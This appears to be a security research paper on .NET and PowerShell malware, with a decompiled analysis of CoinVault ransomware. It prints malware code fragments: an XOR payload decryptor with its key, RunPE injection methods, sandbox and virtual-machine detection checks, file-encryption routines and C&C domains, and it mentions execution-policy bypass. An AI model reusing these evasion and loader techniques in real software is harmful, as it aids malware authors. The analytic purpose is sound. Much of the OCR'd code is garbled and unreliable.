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ABSTRACT

With the ubiquitous adoption of Microsoft’s .NET and
PowerShell frameworks, an ever increasing number of
software development and IT ninjas are joining a nascent
tradition of professionals leveraging these powerful
environments for added efficacy in their everyday jobs. With a
wide array of libraries and cmdlets at their fingertips, the need
to reinvent the wheel is long forgotten.

Of course, malware writers are not far behind — they too have
seen the light and are eager to use these convenient tools against
us. Whether it’s for everyday ransomware or state-sponsored
targeted campaigns, cybercriminals are now emboldened by a
new arsenal that enables them to adapt with ease and agility.
Are you ready to defend yourself against this emerging threat?

It’s time to understand our adversaries’ capabilities. In this
paper, we’ll analyse select in-the-wild malware samples,
picking apart the inner workings of these dastardly creations.
We’ll introduce the cloaking mechanisms adopted by
cybercriminals, moving beyond managed code in execution
environments to the devious packers, obfuscators and crypters
leveraged in conjunction with these powerful frameworks in
order to baffle malware analysts and forensic investigators.

Knowing is not enough; we must apply. Willing is not enough;
we must do. With a plethora of post exploitation and lateral
movement tools created and customized every day in rapid
application development environments and high-level
programming languages, defending against this kind of
pervasive opponent is a full-time job.

THE RISE OF .NET AND POWERSHELL
MALWARE

Gone are the days when a programming-savvy malware writer
would lock him/herself up in a dark basement, looking at a
glaring screen filled with assembly code. A challenge to the
status quo has succeeded and now the self-titled cybercrime
industry has become a booming business, with criminals all
around the world wanting to jump on the bandwagon and get a
piece of the action. With a greater availability of high-level
programming languages each day, some of which are even
taught in high-school- and university-level courses thanks to
their simplicity, lots of curious ‘wannabe criminals’ with
dubious intentions find themselves surprisingly well equipped
to reach into the depths of the Internet and pull out examples
of source code and step-by-step tutorials to create their next
malicious campaign. Instead of wanting to showcase their
technical expertise or intellectual capacity, criminals have

adopted proven practices from agile software development and
business administration that focus on maximizing profits while
minimizing the development time and maintenance cost of
these dreadful concoctions.

In 2002, Microsoft released a game-changing framework that
revolutionized the software development industry and
unwittingly provided malware writers with an unimaginable
arsenal of weapons. While ‘script kiddies’ resorted to builders
and automated environments to cobble together variations of
already-available malware samples, seasoned malware writers
now had access to forums with approachable lessons on how
to write fresh pieces of malicious code, all with an eye to the
most desirable feature of all: avoiding anti-virus detection for
as long as possible. Intended to compete directly with Oracle’s
JAVA platform, the .NET framework provided not only a
comprehensive library of built-in functions but also an
accompanying development environment capable of
supporting several high-level programming languages
including Microsoft’s soon-to-be-flagship C# and the evolution
of Visual Basic, dubbed VB .NET.

Available by default in most Windows installations, the NET
framework has become the de facto standard for software
development in Microsoft’s tamily of operating systems.
Moreover, with the 2006 addition of the increasingly powerful
PowerShell scripting framework, the interaction between .NET’s
supported programming languages and scripting automation has
given software developers and system administrators an easy
way to interface not only with the operating system but nearly
all Microsoft software, ranging from the Office suite to the
crown jewel, the SQL Server database engine.

Vast amounts of ready-to-use functionality make the
combination of .NET and PowerShell a deadly tool in the hands
of cybercriminals. The straightforward value is immediate:
developing simple yet effective applications to send spam, brute
forcing credentials for virtually any service, or creating the next
global malicious campaign. The added benefit: PowerShell
being ubiquitously whitelisted due to its importance in everyday
Windows system administration and other recurring
management activities makes it harder to prevent attacks that are
reliant on these deeply ingrained operating system components.

With access to a powerful integrated development environment
(IDE) such as the newly free Visual Studio, even application
lifecycle management and rapid application development
practices have become easier and are increasingly adopted by
today’s cybercriminals with aspirations of forming part of an
organized industry. Clearly defined separations between
programmers, designers, testers, command-and-control server
administrators, and everyone involved in cybercriminal
operations translates into maximum efficiency and, in turn,
maximum profits. Computer-enabled crime and fraud have
become a faithful reflection of their ‘real-life’ counterparts. With
cybercrime gangs stealing millions of dollars from institutions
(examples include Carbanak and gangs like the recently
apprehended Svpeng), we are witnessing a paradigm shift in
computer crime away from the ‘one-man show’ to that of an
earnest team effort. On the other side of the table, we find
cooperation between private security research companies and
law enforcement agencies proving paramount in combating these
borderless threats. The evolution in the complexity and quantity
of .NET and PowerShell malware is becoming a reality, and as
security researchers we need to be ready to fight back against
these types of threats with the proper tools and knowledge.
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Whereas normal PE samples are better analysed using a
debugger such as Olly or a disassembler such as /DA Pro,
understanding .NET malware samples requires a specific set
of tools that will make the malware analyst’s life much
easier. The availability of free and open-source decompilers
and a plethora of tools to help in our analysis tasks means
that not only can cybercriminals benefit from the use of
high-level programming languages, but we can benefit as
well. As with any endeavour, building the right toolset
means getting prebuilt tools but also being ready to develop
our own when needed. What better than to fight fire with
fire, by using Visual Studio, PowerShell and C# in our daily
fight against malware? Integrating PowerShell with several
.NET libraries and DLLs from currently available
decompilers such as ILSpy will allow any analyst to create a
standardized process that fits his needs, enabling quick
determination both of the sample’s behaviour and whether it
warrants further research.

To understand the differences in the analysis of .NET
assemblies we’ll need first to briefly review how the
framework works and how a .NET PE is built. We have
already seen that cybercriminals have changed their habits to
adopt new malware development practices, and as defendants
we should adapt our analysis environments too in order to
counteract this evolving threat in an efficient manner.

.NET FRAMEWORK INTERNALS

It was within Microsoft’s original plans to build the NET
Framework with the ambitious goal of providing developers a
single platform on which they could build all kinds of
applications. In theory, this revolutionary framework was to
be supported by a wide range of operating systems outside the
Microsoft ecosystem, having an ECMA specification in place
so as to aid the development of open-source implementations
(e.g. the Mono Project). Even though Microsoft has only
recently shared parts of the NET Framework with the
community via the GitHub repository, it’s certainly a step in
the right direction when it comes to interoperability and
multi-platform support. It’s worth noting that the NET
Framework family also includes two versions for mobile or
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embedded device use. A reduced version of the framework,
NET Compact Framework, is available on Windows CE
platforms, including Windows Mobile devices such as
smartphones. Additionally, .NET Micro Framework is
targeted at severely resource-constrained devices.

Amidst the number of open-sourced .NET related projects,
we can find the compiler platform code-named ‘Roslyn’,
which provides open-source C# and Visual Basic compilers
with rich code analysis APIs. Moreover, the NET Core
platform is made up of several components, including the
aforementioned managed compilers, the runtime, the BCL
and the application model, such as ASP.NET. The majority of
.NET Core platform projects typically use either the MIT or
Apache 2 code licences. Some projects license their
documentation and other forms of content under Creative
Commons Attribution 4.0.

The Mono Project is a software platform designed to allow
developers to easily create cross-platform applications
(Figure 1). It is an open-source implementation of Microsoft’s
NET Framework based on the ECMA standards for C# and
the Common Language Runtime. Along with the
implementation of the CLR we can also find a cross-platform
IDE named MonoDevelop, making a perfect companionship
for cross-platform .NET developers.

As of Windows XP SP2 (and Windows 2003 server editions),
the .NET Framework is included by default in Microsoft
operating systems. The inclusion of version 2.0 in Windows
XP SP2 paved the way for the availability of newer versions
in editions of Windows to follow. Windows Vista already
included versions 2.0 and 3.0, nearly reaching the ever
popular Windows 7, which included version 3.5.1 of the .NET
Framework (in addition to previous framework versions with
their corresponding service packs). The development path
suggested by Microsoft is clear; making .NET an essential
component of the company’s flagship operating system
represents good news for everyday developers... and
cybercriminals as well.

According to the international standards (ECMA-335 and
ISO/IEC 23271:2003), a common and baseline set of

Figure 1: Mono is an open-source implementation of Microsoft’s .NET Framework based on the ECMA standards for C# and the
Common Language Runtime [1].
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functions should be implemented by the BCL (base class
library) in order to comply with the Common Language
Infrastructure (CLI) specification. The efforts made in the
name of standardization have yielded outstanding results,
allowing projects such as Mono.NET and derivatives to
become a reality, even prior to Microsoft’s recent release of
the source code for the framework’s core components.

We can view the essential components of the framework as
three different parts or modules: a set of supported
programming languages, a base class library which
implements all basic operations involved in software
development, and the CLR (Common Language Runtime),
which is the core of the .NET framework and has been
designed to comply with a CLI or Common Language
Infrastructure. This acronym is not to be confused with CIL,
which stands for Common Intermediate Language, an
equivalent to JAVA’s bytecode. CIL code, previously known
as MSIL (Microsoft Intermediate language), represents
compiler-generated code which will be translated to
machine-readable code via JIT (just in time) compilation
done by the CLR (Figure 2). This convenient runtime
compilation allows the framework to perform code
optimizations according to the system’s resources and
application execution context, all while performing crucial
maintenance functions such as dynamic memory allocation
and garbage collection.

Managed code is code written in one of the many high-level
programming languages that are available for use with the
Microsoft NET Framework. All of these languages share a
unified set of class libraries and can be encoded into an
Intermediate Language (IL). A runtime-aware compiler turns
the IL into native executable code within a managed
execution environment that ensures type safety, array bounds
and index checking, exception handling, and garbage

collection.
Visual C# Project

‘ C# Source

By using managed code and compiling in this managed
execution environment, many typical programming mistakes
that lead to security holes and unstable applications can be
avoided. Everything from safety checking, to memory
management and destruction of unneeded objects is taken
care of by the framework, leaving the developer free to focus
on more productive tasks.

Among the many namespaces available for .NET developers,
cybercriminals seem to be especially fond of the following:
‘System.Net’, which provides access to network protocols
including SSL, HTTP, SMTP and FTP; ‘System.Reflection’
(and reflective programming techniques in general), which
gives the programmer the ability to read, create, and invoke
class information; and finally, this list wouldn’t be complete
without ‘System.Security’, which contains classes that
represent the .NET Framework security system and
permissions — everything ranging from access control to
cryptographic services is conveniently included within this
single namespace.

.NET assemblies are built on top of the PE (Portable
Executable) file format used for all Windows executables and
libraries (DLLs). The PE format is a data structure that
encapsulates the information necessary for the Windows loader
to manage wrapped executable code (see Figure 3). With regard
to .NET assemblies, there is only one distinction, a single extra
dependency is needed: mscoree.dll. Recognizing a .NET
assembly should be an easy task with proper tools such as
‘CFF Explorer’, ‘PEiD’ or ‘RDG Packer Detector’. However,
even without resorting to special third-party utilities, a quick
glance at the file’s PE header via commonly available hex-
editors will reveal the true nature of the executable. A graphical
representation of this distinction would involve a ‘CLR Data’
section below the ‘CLR Header’ section. ‘CLR Data’ would in
turn contain other two sections used by the CLR, a metadata
section and an intermediate language one.

Resources i

Fil
ile(s) References i

v r

| C# Compiler

l Creates

Managed Assembly (.exe or .dil)

MSIL Metadata

IL metadata & references

loaded by CLR

NET Framewaork

Common Language Runtime
Security / Garbage
Collection / JIT Compiler

v
Operating System |

Uses .NET Framework
— >

Class Libraries

Converted to native
machine code

Figure 2: More than 20 Common Type Specification (CTS) available programming languages such as C# will produce IL code
that will be compiled JIT by the CLR [2].
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Figure 3: The format of a .NET PE file [3].

In addition to everything we have already discussed about
.NET, in 2006 Microsoft provided a command-line interface
for writing and executing scripts called PowerShell. The real
potential behind PowerShell is that it employs the .NET
framework to work. With its console interface designed to
interact seamlessly with .NET and all other Microsoft
products, PowerShell gives system administrators the ability
to automate tasks and perform management activities in a
more controlled manner. PowerShell is an object-oriented
command interpreter, providing greater flexibility for writing
scripts and using the BCL provided by the .NET framework.

From a malware analyst’s perspective, having IL code
compiled ‘just in time’ means that .NET executables are
easier to disassemble and reverse engineer (although as we’ll
see in later sections, several protection mechanisms are
available). Even if .NET is installed by default in many
Windows boxes, the specific version required by an
application might be a newer one, creating the problem of
distributing the framework with the executable file.
Furthermore, conventional analysis techniques and tools
might delay our research efforts instead of helping us as .NET
malware analysis always requires the right toolset.

RANSOMWARE - AN EMERGING TREND

During the last couple of years, a noticeable trend has emerged
in the malware ecosystem. Commonly referred to as
‘ransomware’, these malicious pieces of computer code will
infect a system (usually Windows), taking the user’s files
hostage by encrypting them and ultimately demanding a
monetary ransom. As with all threats in the malware world,
ransomware has evolved not only in its technical aspects but
also in its business management practices. On the one hand,
current ransomware made with .NET uses military-grade
encryption already available within the framework (class
libraries), making the involvement of cryptography a trivial
task and avoiding developer implementation errors altogether.
On the other hand, the usage of Tor network websites to pay for
the ransom and the availability of several cryptocurrencies as
the preferred victim payment option make the illegal operation
devised by these criminals not only hard to trace but also easy
for victims to comply with. We have seen, for example, that as
the bitcoin value fluctuates, cybercriminals adjust the ransom
price demanded for the decryption key, always aiming at

getting a high number of victims paying by making the price
accessible when compared to losing all of one’s files.

Anyone involved in the security industry will give victims the
same advice when asked about ransomware: never pay the
ransom. It’s understandable that paying victims perpetuate this
criminal scheme, but when a user weighs the cost of the
ransom against losing all their files, that advice goes out the
window. With more and more cybercriminals having access to
builders and source code for ready-made ransomware, the
whole process already resembles a malware-as-a-service
scheme. This means the criminal buys an entire package, easy
to deploy even by people with relatively little technical
knowledge. The corollary being that the number of samples
and variants within malware families keep increasing, while the
techniques used by cybercriminals continue to adapt in order to
reach a massive number of potential victims. It’s a numbers
game and cybercriminals know this — thus reducing the time it
takes to modify the malicious code is paramount in a business
that is not only dependent on technical implementation but also
on how long the threat remains undetected, thus keeping the
cash flowing while the next malicious campaign is devised.

In addition, cybercriminals have shown that thieves do keep
their word, usually releasing the decryption key after a victim
makes the payment. After all, it’s a business and they want to
take care of their customers. Some malware samples go as far
as checking that the system hasn’t been infected before by the
same sample in order to protect an already ‘loyal’ customer.
Since the release of CryptoLocker in September 2013, the
ransomware scene has shown a steady growth and the latest
campaigns demonstrate the effectiveness and interest shown
by cybercriminals in this type of campaign.

When it comes to the .NET world, a recent piece of malware
named CoinVault once again demonstrated the good will of
cybercriminals by offering a limited decryption feature on
some of the files locked by the malware. Showing that the
malware actually worked, the bad guys intended to convince
their victims that they could recover their files and that the
only way to recover all of them was by paying the ransom. Of
course, this assumes that the infected user doesn’t have a
proper backup in place — something that most victims
remember only when they are hit with a catastrophe such as
this. Furthermore, within the set of people that do perform
backup procedures, only a small number verify that they
actually work before is too late.

Your files are in the vault — CoinVault analysis
[4]

Technically, the malware writers have taken a lot of measures
to slow down the analysis of this sample. Even though it was
made with Microsoft’s NET framework, it takes a while to
reach the core of the malicious application. Upon opening the
initial sample in /LSpy, we find that the program starts by
using a string key which is passed to a decryption method,
which will ultimately get the executable code (Figure 4).

A byte array is also passed as a parameter to the
‘EncryptOrDecrypt’ method, which in conjunction with the
key will output a final byte array with the malware’s much
needed code (Figure 5).

Implementing these functions in Visual Studio is as easy as
copy/paste, so we execute the methods obtained from the
source code and set a breakpoint to check what the decryption




Figure 4: Upon opening the initial sample in ILSpy, we find that the program starts by using a string key which is passed to a
decryption method, which will ultimately get the executable code.
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// Program
private object[] label4 = new object[2];
public Program()

i
this.label4[@] = "cRhFYnurgkAmAnrzTQHEFYOFK" ;
this.InitializeComponent();
this.label3[@].Invoke(null, this.label4);

i

private ICentainer components;

private Label labell;

private byte[] label2;

private MethodInfo[] label3;

private object[] labeld = new object[2]; o

[+ protected override void Dispose(bool disposing)l...|

[+ public Program()/...]

[ private static byte[] EncryptOrDecrypt(byte[] data, string key)

1
byte[] array = new byte[data.Length];
for (int i = 8; i < data.Length; i++)
{
array[i] = (byte)((char)data[i] ™ key[i ¥ key.Length]);
return array;
-3

E private void InitializeComponent()
= byte[] data = new byte[]

46,
g,
248,
70,

98,

110,
117,
114,
117,
167,

Figure 5: A byte array is also passed as a parameter to the ‘EncryptOrDecrypt’ method.

1
&
EncryptOrDecrypt{encrypted, "cRhFYnurgkAmAnrzTQHEFYOFK™);
b
Bl private static byte[] EncryptOrDecrypt(byte[] data, string key)
{
byte[] array = new byte[data.Length];
for (int i = 8; i < data.Length; i++)
1
array[i] = (byte)((char)data[i] * key[i ¥ key.Length]);
b
File.WriteAllBytes("foo.exe™, array);
°
}
L
L}
Locals
J Name Value
' e[ 174081}
@ [0 77
o0 \NEW,
@ (2 pucd
@ 1Bl 0
@ [4] 3
@ [5]1 0

Figure 6: A 77, ‘90’ in decimal tells us we are on the right track.
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[=-+3 SHIELD
'S References
=-{} -
# <Module>
= @ Program
¥ Base Types
W Derived Types
o settings: Settings
=% .ctor() : void
2% d(string, string) : void
a EncryptOrDecrypt(byte[], string) : byte[]
a execute() : void
5 GetModuleHandle(string) : IntPtr
& isMaltestUser() : bool
a Main() : void
=% RunPE
- Base Types
% Derived Types
B1 RunPE.PROCESS INFORMATION
[ RunPE.STARTUP_INFORMATION
=% .ctor() : void

S GetThreadContext(IntPtr, int[]) : bool

a HandleRun(string, string, byte[], bool, bool) : int

2% isCLR(byte[]) : bool

S NtUnmapViewOfSection(IntPtr, int) : int

5 ReadProcessMemory(IntPtr, int, ref int, int, ref int) : bool

5 ResumeThread(IntPtr) : int

# Run_CLR(object) : void

2% Run_CLR(byte[]) : Thread

Run_PE(string, string, byte[], bool, bool} : int

5 SetThread Context(IntPtr, int[]) : bool

5 VirtualAllocEx(IntPtr, int, int, int, int) : int

5 WriteProcessMemory(IntPtr, int, byte[], int, ref int) : bool
¥ Settings

5 CreateProcess(string, string, IntPtr, IntPtr, bool, uint, IntPtr, string, ref RunPE.STARTUP_INFORMATIOM, ref RunPE.PROCESS_INFORMATION) : bool

Figure 7: A ‘RunPE’ application serves to execute files on the fly.

/{ Program
Elpublic static void d(string key, string resourcename)

Console.WritelLine("Grabbing bytes from resource...”

byte[] array;
using (Stream manifestResourceStream

if (manifestRescurceStream == null)

return;

}

")
Assembly callingAssembly = Assembly.GetCallingAssemb.

callingAssembly.GetManifestResourceStream(resourcename))

y();

array = new byte[manifestResourceStream.Length];
manifestResourceStream.Read(array, @, array.length);
1

Console.WriteLine("Decryption started. Decrypting bytes...");

byte[] buffer
Console.WritelLine("Bytes decrypted");

Stream stream = new MemoryStream(buffer);
try

Console.WriteLine("Deserializing class...");
Console.WriteLine("Deserialization complete™);

catch (Exception ex)

return;

stream.Close();
Program.execute();

—}

Program. EncryptOrDecrypt(array, key);

XmlSerializer xmlSerializer = new XmlSerializer(typeof(Settings));

Program.settings = (Settings)xmlserializer.Deserialize(stream);

Console.WriteLine("Deserialization failed. Possible wrong key. Error:

+ ex.ToString());

Figure 8: In the same way as before, a string key and a byte

method is doing. A ‘77°, ‘90’ in decimal tells us we are on the
right track (Figure 6), since when converting these numbers to
hexadecimal we get ‘4D’, ‘SA’, which is the magic number
for DOS executable files identified by the ASCII string ‘MZ’.
We dump all the bytes to an executable file on disk for further
analysis.

We get a file called ‘SHIELD runner’, serving as a RunPE
helper application. A RunPE application serves to execute
files on the fly, meaning that a memory stream is created from

array are used to generate yet another executable file.

an input and executed directly without first storing the file to
disk (Figure 7). This is useful for malware writers that want
to avoid leaving traces behind, and as we’ll soon see, it’s not
all this file has to offer.

In the same way as before, a string key and a byte array are
used to generate yet another executable file (Figure 8).
Undoubtedly, the masterminds behind this threat have gone to
great lengths in order to slow down the analysis and hide the
malicious payload for as long as possible.
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Husing |...
—]internal class Program

private static Settings settings;

[D11Import(“kernel32.d11")]

private static extern IntPitr GetModuleHandle(string lpModuleName);
private static void Main()...

private static bool isMaltestUser()

if (!Program.settings.detectMaltester)

return false;

}

if (Program.GetModuleHandle("SbieDll.dl1").ToInt32() != @)
1

return true;

Process[] processes = Process.GetProcesses();
Process[] array = processes;

int i = @;
while (i < array.Length)
i

Process process
bool result;

if (process.MainWindowTitle.Contains("The Wireshark Network Analyzer™))

array[i];

{
result = true;
¥
else
{
if (!process.MainWindowTitle.Contains("WPE PRO"})
i++;
continue;

result = true;

return result;

}
if (Environment.MachineName.ToUpper().Contains("MALTEST"))

{

return true;

Figure 9: The malware checks for ‘Sandboxie’, ‘Wireshark’, ‘Winsock Packet Editor’, and even checks whether the machine’s
name is ‘MALTEST’.

using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem™))

using (ManagementObjectCollection managementObjectCellection = managementObjectSearcher.Get())

foreach (ManagementBaseObject current im managementObjectCollection)

1
string text = current[“"Manufacturer”].ToString().ToLower();
if (text == "microsoft corporation” || text.Contains("vmware") || current["Model™].ToString() == "WirtualBox")
bool result = true;
return result;
by
h

}
¥

Console.WriteLine("Not a malware detection user™);
return false;

Figure 10: Detection of a virtualized environment causes the execution to stop.

even checks whether the machine’s name is ‘MALTEST’
(Figure 9). Fortunately, none of these conditions are met in
our environment so we are good to go.

Windows PowerShell
Copyright <C> 28089 Microsoft Corporation. All rights reserved.

PS C:\Users“KYLE> Get—WmiObject -Class Win32_ComputerSyst . . . . . .
& erTmaEhaee = " ompukersysten Additionally, detection of a virtualized environment will

cause the execution to stop and the malicious payload to be
hidden (Figure 10).

We use PowerShell to check if the malware can actually
detect our environment (Figure 11). Apparently it can, so
we’ll need to carry out some simple modifications in order to
continue the analysis process. We can fix this easily from
VMware’s configuration VMX file, setting the option

WORKGROUP
UMware. In
UMuare Uiwr

Domain

Manuf acturer

Model

Mame
PrimaryOunerName
TotalPhysicalMemory

c.
ual Platform

Windows User
3254247424

PS5 C:\Users“KYLE>

Figure 11: Using PowerShell to check whether the malware
can detect our environment.

Not only do we have the usual ‘RunPE’ functions but also a
nice additional set of methods that will help the malware
detect analysis tools and virtualized environments. It checks
for ‘Sandboxie’, “Wireshark’, “Winsock Packet Editor’ and

‘SMBIOS .reflectHost = TRUE’. Running our PowerShell
checks again, we receive good news and are ready to delve
further (Figure 12).

Repeating the process of string key and byte array decryption
and dumping the memory at just the right time pays off and
we finally end up with the set of files that will be used during
the infection (Figure 13).
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-4 Adrministrator: Winc The CoinVault Locker has two main Windows forms: the

Windows PowerShell main one telling us to pay in order to recover the victim’s files
Copyright (C> 2882 Microsoft Corporation. All rights reserved.

and ‘frmGetFreeDecrypt’, which is used to decrypt one of the
victim’s files as a way to demonstrate that we can in fact
Domain VORKGROUP recover our precious information if we comply in a timely

ngggiacturer Dell Inc. manner (Figure 14).

LELT
PrimaryOunerNane Vindous User However, before beginning with the Locker analysis we’ll

TotalPhysicalMemory : 3254247424 ) ) |
need to de-obfuscate it (at least a little bit). The malware

PS C:sUsers \KYLE> Get—-WmiObject —Class Win32_ComputerSystem

PS C:uUsers~KYLE>

‘D coinvault

Figure 12: After setting the option ‘SMBIOS.reflectHost = ™ Locker

. . . B 5
TRUE’ and running our PowerShell checks again, we receive i References
i Resources
good news. T
= 4} Locker

E coinvault.exe E Loclkelr.exe 4}@ frmGetFreeDecr}rpt
0.0.0.0 CoinVault

11/19/2014 2:08 PM 1.0.0.0 % m
Locker.Properties
rwabaxhi.dil S.HILELD_ runner.exe .a boxhi P

e g ! @ S5.HILE.LD_runner rwgboxn)

Wy 1000 1.000 @ SHLELD_runner

Figure 13: The set of files that will be used during the Figure 14: The CoinVault Locker has two main Windows
infection. forms.

FHusing -
[assembly: AssemblyVersion("1.8.8.8")]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: Assembly[ompany("")]
[assembly: Assembly[onflgur‘a
[assembly: AssemblyCopyp#ght("Copyright @ 2814")]
[assembly: Assembly'Dcr‘lptlon( “Your worst nightmare.™)]
[assembly: AssemblyF leVer‘slon( 1.8.08.8")]
[assembly: AssemblyP
[assembly: AssemblyTitle
[assembly: AssemblyTradema
[assembly: Eompl]atlonRelaxat:lons(S
[assembly: RuntimeCompatibility(WrapMonExceptionThrows = true)]
[assembly: ComVisible(falsec
[assembly: Guid("
[module: ConfusedBy("Confuser v1.9.8.8")]
[module: Suppress

R51d68e7d77")]

Figure 15: In this case we are dealing with the ever popular Confuser, version 1.9.0.0.

FHlusing |.. .|
Enamespace Locker
{
= public class frmMain : Form
{
private delegate void FEIRETERHE();
private delegate void ZEE!" @RS s(Label textbox, string value);
private delegate void 20EFEIEE@IBR (NameValueCollection status, bool showMessage);
private delegate void EE*SOIZEME(int value);
private const int abBINEIMEF = 273;
private const int BARCIEE@S! = 419;
private const int EFHWEZE =
private const int HIEFERFIEEE = 1;
private const int EiE-Re@iE = 2;
private BackgroundWorker OER@FEIBEF ;
private System.Timers.Timer HFEZBIREL;
private System.Timers.Timer THEE 28 2,
private BackgroundWorker BETUWTERE;
private TimeSpan CERIS|=Em;
private string[] MsSiEHaE;
private bool HEZZET 0 @;
private bool FEcEE Hit5E;
private IContainer xeE2l 3RS,
private RichTextBox FIZalEEa—;
private PictureBox pa()EEEiEe;
private Label EEMEEZETF;
private TextBox ﬂEEEIﬁ:Fl 502
private Label ISIE-fd
private Button C.’_NZEIﬂEEIlW
private Button EU{EIET g HETEE;
private Button URiEETEE2
private TextBox @UEFaTHSIE;
private TextBox EFabFEMmerZ;
private Label ¥ifEHeiElEs;
private Label #ESa0iamES

Figure 16: From something that resembles a Chinese manuscript to humanly readable source code.
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writers display some sense of humour here: if the analyst has
gone to this much trouble to reach this point it seems he’s
welcomed, as suggested by the phrase, ‘Your worst
nightmare’. Moreover, they are keen enough to leave a banner
signalling the obfuscation utility they used. In this case we
are dealing with the ever popular Confuser, in its version
1.9.0.0 (Figure 15).

It is certainly confusing, but we can make it better: going
from something that resembles a Chinese manuscript to
humanly readable source code (Figure 16).

We now can see, amongst the many (many) methods and
delegates inside the assembly, some relevant code regarding
the file encryption functionality. NET’s ‘System.Security.
Cryptography.RijndaelManaged’ [5] namespace is used
(amongst others), revealing a symmetric encryption scheme
(Figure 17).

We can even get a glance at how the PRNG was implemented
and some other interesting internal details about our studied
malicious application (Figure 18).

When we are finally shown the Locker executable, a
connection is made to a dynamic domain. During the analysis,
two addresses were present: ‘cvredirect.no-ip.net’ and
‘cvredirect.ddns.net’ (Figure 19). They are currently offline,
which hampers the Locker functionality, since upon traffic

analysis inspection we were able to see that a hardware ID is
sent to the C&C in order to use a dynamic file encryption
password. I guess now we can understand why the malware
checks for Wireshark in the system. After all, cybercriminals
wouldn’t want you to take a peek at how their business is
done.

@_ FakeMet

[Mew request on port 88.1
GET ~ HTITP-1.1
Host: cvredirect.ddns.net
Connection: Keep—fAlive

[Sent http response to client.]

[Received new connection on port: 8.1
[Mew reguest on port 808.1
GET ~ HTTP-1.1
Host: cvredirect.no—ip.net
GConnection: Keep—Alive

[Sent http response to client.]

[Mew request on port 808.1
GET ~ HTTP-1.1
Host: curedirect.ddns.net
Connection: Keep—-Alive

.[Receiued new connection on port: B8O.1
N

BLS%ent http response to client.]

Figure 19: During the analysis, two addresses were present:
‘cvredirect.no-ip.net’ and ‘cvredirect.ddns.net’.

byte[] buffer = new byte[num];
fileStream.Read(buffer, @, num);

using (ICryptoTransform cryptoTransfor
{

using (MemoryStream memoryStream = new MemoryStream())

using (CryptoStream cryptoStream =

cryptoStream.Write(buffer, @, num);
cryptoStream. Flush();

cryptoStream. FlushFinalBlock();
cryptoStream. Flush();
fileStream.Position = @L;

buffer = memoryStream.ToArray();
fileStream.Write(buffer, @, num);

}

= rijndaelManaged.Cr

new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Write))

gateEncryptor (bytes, bytes2))

Figure 17: .NET’s

‘System.Security. Cryptography.RijndaelManaged’ [5 ] namespace is used (amongst others). revealing a

symmetric encryption scheme.

=

L R R TR SRR R

w0 oo

I ]

- bk
char[] array2 =
byte[] array3 =

new char[int_@];
new byte[int 8];

rNGCryptoServiceProvider.GetBytes(array3);
for (int i = @; i < array2.Length; i++)
1
int num = (int)array3[i] % array.Length;
array2[i] = array[num];

return new string(array2);

RNGCryptoServiceProvider rNGCryptoServiceProvider =

new RNGCryptoServiceProvider();

Figure 18: We can even get a glance at how the PRNG was implemented.
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CoinVault

Your personal docurments snd = on this comipuier have jusi been encrypbed
The anginal fles have been deleted and will only be recavered by following the steps desenbed below

Click on “View ancrypled files” to aee & l=t of files that got encrypled

The encryption was done with a unique generaled encryption ey (using AES-256)
This means the encrypled files are of no use until they get decrypled usang
& key siored on & sener

desploayed lefl of

3 windowa

= garvar will only releasa thes key i the amount of Bilcoir
this windowa) is send to the Biteoin address undemeath th

Each time the imer hits zero. the total costs will

 with e startng price:

rmabion of the bilcoins
ek payrnent and recerse keys” butbon
textbones

Aler the purchase s made, plesse wail a few menules lor oo

= = You can check whather the Bilcosns are confirmed with the

2 3 59 -3 ‘1 Aher payment and confirmalion, your keys will appear in the
L1 al. you simply click ‘decrypt uaing keya'

Your files will bo decrypled and restoeed to thoir onginal kecation
How to pay One free decrypt!

Yiou can decrypt one hle for free, using the 'One ree decrypl” bution

You can easily delebs this softwsne, bul know that without {4 you wall never be able
1o get your onginal files back

For maee information on how o buy and send bitcoin, click 'How o pay

Check payment and recene keys

Decryp! using keys

Figure 21: Encryption scheme used by newer variants of CoinVault ransomware [6].
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At this point, if everything has gone according to plan (for the
cybercriminals), the victim’s personal documents and files
have been encrypted and a payment is demanded in less than
24 hours or the price will rise (Figure 20). The bitcoin address
used is dynamic too, making the tracing of the funds a lot
more complex than usual.

After the initial analysis of CoinVault, a joint effort between
Kaspersky Lab and the National High Tech Crime Unit
(NHTCU) of the Netherlands’ police and the Netherlands’
National Prosecutors Office, resulted in obtaining a database
from a CoinVault C&C server (containing IVs, keys and private
bitcoin wallets). With this information, a last resort decryption
tool was developed in order to be used and shared with those
that were affected by CoinVault. Even though this convenient
utility depends on the recovered key set for an effective
decryption, it is a step forward in the fight against cybercrime
and offers users much needed help in times of need. Original
samples of CoinVault such as that shown in the aforementioned
analysis used AES with a 128-bit block size in CBC mode but,
again displaying a knack for adaptability, the cybercriminals
behind the latest campaign have since switched to an AES
256-bit block size encryption in CFB mode (Figure 21).

Not all ransomware is created equal, and as has been shown
by the analysis published by Victor Alyshin [7], a bad
implementation of an encryption algorithm can give security
researchers a chance to build a decryption utility without the
need for original decryption keys. In this case, the Scraper
malware, despite being protected by Kazyl.oader and
KazyRootkit (both written using the .NET framework),
revealed a manually crafted payload for achieving the
ransomware infection. Some minor errors in the
implementation proved useful in defeating this threat
altogether. We’ll go into detail about .NET-specific protection
mechanisms in later sections of this text.

POWERSHELL - SCRIPTING GONE WILD

NET is listed as a requirement for installing PowerShell in a
Windows system, making clear the close ties between the two.
It wasn’t until last year that a wave of ransomware created in
PowerShell started to be seen in the wild. It makes sense,
since utilizing an already whitelisted executable such as
PowerShell (which usually has administrative privileges)
provides the attacker with a good chance of bypassing many
security measures. PowerShell uses a C#-like syntax, offering
an object-oriented programming environment for developers
to go wild and access the .NET’s base class libraries (crypto,
networking, file access and many more). Not to mention that
it’s great for interfacing the Windows APIs (Component
Object Model and Windows Management Instrumentation).

By supporting code signing and different execution policies
(see Figure 22) as a measure to prevent the execution of

unwanted code, PowerShell tries to fight illegitimate usage of
the framework, but these measures are clearly not enough.

Even though the default execution policy is ‘Restricted’, we
have the option to bypass it right from PowerShell, and many
times just encoding the malicious payload with base64 will
yield an effective result against these ineffective protection
mechanisms. There are just too many ways to bypass
PowerShell execution policies, and cybercriminals know them
all [9]. If we add to this the availability of hundreds if not
thousands of ‘cmdlets’ (modular and reusable scripts),
cybercriminals don’t need to be extremely well versed in
either programming or malware development.

Ransomware in your email — analysis of
Ransom-NY

